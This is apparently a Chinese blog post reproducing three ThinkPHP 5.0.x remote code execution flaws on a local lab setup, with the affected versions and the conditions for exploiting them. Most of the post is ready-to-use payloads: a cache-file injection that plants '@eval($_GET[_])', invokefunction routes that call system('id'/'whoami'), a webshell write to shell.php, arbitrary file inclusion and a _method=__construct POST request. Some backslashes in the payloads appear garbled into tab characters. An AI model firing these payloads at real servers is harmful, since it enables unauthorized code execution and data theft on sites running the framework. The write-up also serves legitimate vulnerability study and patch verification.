• ThinkPHP 5 代码执行漏洞复现+POC


    ThinkPHP 5 代码执行漏洞复现+POC


    ThinkPHP 5.0.10 环境框架搭建

    ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。

    查看当前版本

    环境搭建成功

    缓存类导致RCE

    版本

    5.0.0<=ThinkPHP5<=5.0.10
    

    测试payload

    漏洞利用条件

    1. 基于tp5开发的代码中使用了Cache::set 进行缓存
    2. 在利用版本范围内
    3. runtime目录可以访问

    创建一个生成缓存的页面

    构造payload如下:

    http://127.0.0.1/public/?username=syst1m%0d%0a@eval($_GET[_]);//
    

    成功在缓存文件写入payload

    http://127.0.0.1/runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php?_=phpinfo();
    

    成功执行代码

    未开启强制路由导致rce

    版本

    5.0.0<=ThinkPHP5<=5.0.10
    

    测试payload

    5.1.x :

    ?s=index/	hinkRequest/input&filter[]=system&data=pwd
    ?s=index/	hinkviewdriverPhp/display&content=<?php phpinfo();?>
    ?s=index/	hink	emplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
    ?s=index/	hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    ?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    

    5.0.x :

    ?s=index/thinkconfig/get&name=database.username # 获取配置信息
    ?s=index/	hinkLang/load&file=../../test.jpg    # 包含任意文件
    ?s=index/	hinkConfig/load&file=../../t.php     # 包含任意.php文件
    ?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    

    当前环境版本是5.0.10,构造payload如下:

    http://127.0.0.1/public/index.php?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
    

    成功执行代码

    method任意调用方法导致rce

    版本

    5.0.0<=ThinkPHP5<=5.0.10
    

    测试payload

    构造payload如下:

    POST /index.php?s=index HTTP/1.1
    _method=__construct&filter[]=system&method=get&get[]=whoami
    

    成功执行代码

    参考

    Thinkphp5 RCE总结
    Thinkphp5 代码执行学习

  • 相关阅读:
    JavaScript测试工具chai
    gradle初始仓库依赖(含junit)
    汇编和中断
    oracle-12c-ee安装
    pickle
    Python (zip, lambda, map, shallow copy, deepcopy)
    豆瓣源下载tensorflow
    Linux上XRDP可作为WIN的远程连接
    VNC连接远程Linux——废弃电脑作为运算机器
    MACOS 运行Keras报错
  • 原文地址:https://www.cnblogs.com/liliyuanshangcao/p/13080929.html
Copyright © 2020-2023  润新知